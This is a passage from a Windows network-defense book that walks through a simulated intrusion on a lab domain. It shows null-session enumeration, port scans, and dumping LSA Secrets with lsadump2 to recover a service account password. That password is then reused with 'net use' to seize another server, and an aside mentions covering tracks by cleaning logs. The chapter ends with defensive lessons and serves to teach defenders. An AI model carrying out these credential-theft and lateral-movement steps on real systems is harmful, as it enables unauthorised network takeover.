Hacking Other Machines | Protect Your Windows Network: From Perimeter to Data

Hacking Other Machines

We have now pierced the eggshell. At this point, the objective is to fully "own" the network and take over everything else. To start with, we need to gather some more information on our target. For that we use a utility that enumerates information from a system over a null session. A null session is an anonymous connection (i.e., one made without any authentication). By default, some Windows systems give out more information than others over such a port. Of course, in this case, we run it against localhost, meaning that anonymous restrictions do not apply to us.

 C:\warez>dumpinfo 127.0.0.1 The Administrator is:   PYN-SQL\Administrator Users on PYN-SQL: RID 1000        PYN-SQL\TsInternetUser  a User RID 1001        PYN-SQL\SQLDebugger     a User Share           Type            Comment IPC$            Unknown         Remote IPC ADMIN$          Special         Remote Admin C$              Special         Default share Administrators: PYN-SQL\Administrator PYN-DMZ\_ids PYN-DMZ\Domain Admins

From this, we learn that there is not much on this system. It looks rather like a default system. Before we proceed with using this information, however, let's figure out the lay of the land:

 C:\warez>ipconfig /all Windows 2000 IP Configuration          Host Name    . . . . . . . . . . : PYN-SQL          Primary DNS Suffix   . . . . . . : PYN-DMZ.LOCAL          Node Type    . . . . . . . . . . : Mixed          IP Routing Enabled   . . . . . . : No          WINS Proxy Enabled   . . . . . . : No          DNS Suffix Search List   . . . . : PYN-DMZ.LOCAL Ethernet adapter Local Area Connection:          Connection-specific DNS Suffix  .:          Description     . . . . . . . . .: Intel 21140 Based                                             PCI Fast Ethernet                                             Adapter          Physical Address    . . . . . . .: 00-03-FF-03-3E-F0          DHCP Enabled    . . . . . . . . .: No          IP Address      . . . . . . . . .: 172.17.0.3          Subnet Mask     . . . . . . . . .: 255.255.255.0          Default Gateway     . . . . . . .: 172.17.0.1          DNS Servers     . . . . . . . . .: 172.17.0.2

This tells us our IP address as well as some other useful information about the target network. Notice that the host has a private address, so our connection must be going through a NAT router at 172.17.0.1.

The objective now is to further the compromise to other hosts . To do that, the attacker starts by looking for the easy exploits. Perhaps the simplest is to use shared service accounts, if present. Service accounts are used on Windows to start up service, typically when those services need to run as some nonsystem user, or when they need access to particular network resources. For instance, a service may be able to connect to a particular network share on a remote host, or may need to execute code under a specific user context. The easiest way to configure such a service on multiple systems is to create a single domain account and then configure all the systems to run the service with the same account. This means that if we find any services running in regular user accounts (as opposed to system accounts such as LocalSystem, NetworkService, and LocalService), it is a sucker bet that those accounts have privileges on multiple systems. Network backup solutions, for instance, are notorious for using a single domain admin account to run the backup client on every single machine in the domain.

To find out whether this is a viable vector, let's check who is running services on the database server. To do that, we use a tool designed for that purpose:

 C:\warez>serviceuser \PYN-SQL IDS                             PYN-DMZ\_ids

There is a domain account used for the IDS service; presumably the intrusion detection service.

Why the IDS Service?

As with almost everything in this chapter, there is a story behind the IDS account. Once we took over an entire network through an intrusion detection system. The system had a client component installed on every server in the entire data center to aggregate the log entries. After we had compromised one of them, it was a simple matter of extracting the credentials to compromise all the rest, and then cleaning up the logs to cover our tracks in the process. There is nothing quite as satisfying as taking over a network by using the intrusion detection service, and in memory of that network, we named our service account _IDS here.

dumpinfo also told us earlier that it was an administrator. If the attacker is really lucky, the account is also a domain admin and the game would be over here. However, in this case, it appears unlikely that it is a domain admin since the account was explicitly listed in the Administrators group . To understand how to exploit this, we must understand how Windows operates. Services are applications that run when the system boots. Just like any other process on the system, they must run under some user identity. When the service starts, the operating system (OS) authenticates the account used for the service and for that it needs a username and password. The username and password are stored by the service control manager in a location called the Local Security Authority (LSA) Secrets. The LSA Secrets are maintained by the LSA to hold certain sensitive information required for the operation of the system. This information includes items such as the computer account credentials, encryption keys, and service account credentials.

The LSA Secrets are encrypted on disk and decrypted by the OS when the machine boots. They are then held in clear text in the LSA process memory space while the system is running. If you can debug the LSA process, you can read that memory space. That may sound daunting, but there are attacker utilities designed specifically for that purpose. To debug the LSA process, a user must have the SeDebugPrivilege, which is granted by default only to Administrators.

NOTE: If you have installed Visual Studio, there will be a Debugger Users group. All members of that group also have the SeDebugPrivilege.

Since Administrators can do whatever they want anyway, the ability to debug the LSA process is not a vulnerability in and of itself. They own the system without that privilege, and could grant any user that privilege. The vulnerability is operational and happens when untrusted users have that privilege.

In our case, we actually do not need to use the SeDebugPrivilege. Recall that our remote shell is running as LocalSystem. In other words, we are running as the same identity as the LSA process, and therefore have an intrinsic right to attach a debugger to it, privilege or not. Running the tool to extract the secrets, we find the following:

 C:\warez>lsadump2 $MACHINE.ACC  13 FE 4C 3A 04 F8 1F 94 75 C8 9B 0B 1C 35 45 7A  ..L:....u....5Ez  52 7E 25 DF F8 17 F2 96 3A 35 81 C7              R~%.....:5.. DefaultPassword DPAPI_SYSTEM  01 00 00 00 C8 AA F8 8C 36 C7 69 CC DD 42 CB 15  ........6.i..B..  3F 4E 07 6D 48 05 0A 4C FE 31 87 C9 F2 58 A3 AD  ?N.mH..L.1...X..  B7 AD 13 20 26 11 24 24 FF 79 AE D3              ... &.$$.y.. ... _SC_IDS  69 00 64 00 73 00 50 00 61 00 73 00 73 00 77 00  i.d.s.P.a.s.s.w.  64 00 21 00                                      d.!.

The output has been truncated to make it easier to read, but the really interesting piece is right at the end, where the service account credentials are listed. The column on the right holds the service account password. We now know that the password for the PYN\_ids account is idsPasswd! (The output is in Unicode, hence the dots in between characters , signifying nulls.) The only thing left now is to find out where to use it. Running DiscoverHosts we find that there are only two other machines on this subnet, 172.17.0.1 (the gateway) and 172.17.0.2 (the DNS server). We need to learn more about them:

 C:\warez>dumpinfo 172.17.0.1 Unable to look up the local administrator Unable to enumerate users because I could not get the Admin Sid Share            Type             Comment IPC$             Unknown          Remote IPC ADMIN$           Special          Remote Admin wwwroot$         Disk C$               Special          Default share Administrators: Unable to enumerate administrators ERROR: Access Denied

We are not getting much information on this system. That is because it is a Windows Server 2003 member server. On Windows Server 2003 standalone and member servers, null session users will only be able to list the shares on the system, but not the user accounts by default. It is possible to restrict it even further so that no information is available at all. To learn how, turn to Chapter 12.

What we can tell from dumpinfo is that the default gateway is running a Web server, based on the fact that it exposes a wwwroot$ share. Notice also that we get a list of all the so-called hidden shares (shares postfixed with a $). The $ sign is actually just a notification to the client side of the application programming interface (API) not to display this item. The dumpinfo tool is written specifically to ignore that convention and displays the item anyway.

It would also be helpful to find out what endpoints are exposed on this system. To do that, we turn once again to our port scanner:

 C:\warez>portscan 172.17.0.1 Port 172.17.0.1:80 open Port 172.17.0.1:135 open Port 172.17.0.1:139 open Port 172.17.0.1:445 open Port 172.17.0.1:3389 open

This really does not tell us much that we did not know. If SMB had been blocked, dumpinfo would have failed. We also discover that the host is running Terminal Services, but that is quite common. Turning our attention to the other system on the network, we get the following:

 C:\warez>dumpinfo 172.17.0.2 The Administrator is:   PYN-DMZ\Administrator Users on PYN-DMZ-DC: RID 1000        PYN-DMZ\HelpServicesGroup       an Alias RID 1001        PYN-DMZ\SUPPORT_388945a0        a User RID 1002        PYN-DMZ\TelnetClients   an Alias RID 1003        PYN-DMZ\PYN-DMZ-DC$     a User RID 1104        PYN-DMZ\DnsAdmins       an Alias RID 1105        PYN-DMZ\DnsUpdateProxy  a Group RID 1106        PYN-DMZ\Alex a User RID 1107        PYN-DMZ\Bob a User RID 1108        PYN-DMZ\Cecil        a User RID 1109        PYN-DMZ\Denise  a User RID 1110        PYN-DMZ\Eric a User RID 1111        PYN-DMZ\Fred  a User RID 1112        PYN-DMZ\George a User RID 1113        PYN-DMZ\Henry   a User RID 1114        PYN-DMZ\Irene   a User RID 1115        PYN-DMZ\Julie       a User RID 1116        PYN-DMZ\Kurt        a User RID 1117        PYN-DMZ\Laura       a User RID 1118        PYN-DMZ\Maggie       a User RID 1119        PYN-DMZ\Teddy       a User RID 1120        PYN-DMZ\Mike       a User RID 1121        PYN-DMZ\PYN-SQL$        a User RID 1122        PYN-DMZ\PYN-WEB$        a User RID 1123        PYN-DMZ\_IDS         a User Share           Type             Comment IPC$            Unknown          Remote IPC NETLOGON        Disk             Logon server share ADMIN$          Special          Remote Admin SYSVOL          Disk             Logon server share C$              Special          Default share Administrators: Unable to enumerate administrators ERROR: Access Denied

This is obviously more interesting. This machine must be a DC because the account domains are PYN-DMZ, but the host name is PYN-DMZ-DC. A member server or standalone would have matching hostnames and account domains. By default, Windows Server 2003 Domain Controllers allow anonymous users to get all this information to allow down-level compatibility with Windows NT 4.0 and Windows 9x. The only thing the attacker cannot get is the membership in the Administrators group. This information can be restricted, but honestly, it is not particularly critical. First, an attacker could easily get this information by performing the request using any domain account. Second, if the only thing standing between you and a compromised network is the list of users on your domain, you are in for a rough time. The user list should simply not be particularly sensitive, even though we normally do not want to just hand it out.

For completeness, we also do a port scan:

 C:\warez>portscan 172.17.0.2 Port 172.17.0.2:53 open Port 172.17.0.2:135 open Port 172.17.0.2:139 open Port 172.17.0.2:389 open Port 172.17.0.2:445 open Port 172.17.0.2:3268 open

Our ports can tells us something interesting. Since port 3268 is listening, this must be a Global Catalog server for the forest. This means that 172.17.0.2 is a highly valuable target. Interestingly, this system does not have Terminal Services enabled.

We still do not know where the _ids account is used. To find out, we enumerate the user accounts used to run services on the various hosts:

 C:\warez>serviceuser \172.17.0.1 IDS                                PYN-DMZ\_ids

Serviceuser also runs anonymously, and we find out what we already suspectedthe IDS service is used on the Web server as well, using the account we already have. That is all the information needed to take over that host as well:

 C:\warez>net use \172.17.0.1\c$ /u:pyn-dmz\_ids idsPasswd! The command completed successfully.

We have successfully taken over the Web server! This is shown in Figure 2-1b.

Figure 2-1b. We have successfully compromised two machines.

Here is a summary of the operational practices that got us to this point:

We have complete connectivity between the database server and the Web server; there is no internal traffic filtering. In Chapter 9, we cover a technique to analyze what kinds of traffic you do need to allow and what to restrict on your internal network.
We were able to retrieve a lot of information about the targets on the network over anonymous connections. This is enabled for down-level compatibility and is often not necessary in up-to-date networks. In fact, we consider killing Windows 9x and NT 4.0 to be of great security benefit! Not only are those systems insecure in today's environment, they require you to render your up-level systems insecure , too. Chapter 12 covers this in more detail.
There was a service account dependency between the database server and the Web server. A service account dependency is where a system is dependent for its security on another system through a shared service account. Shared service accounts are a prime target for attackers because, contrary to password cracking, there is no time lag in retrieving them. Chapter 8, "Security Dependencies," covers service account dependencies in more detail.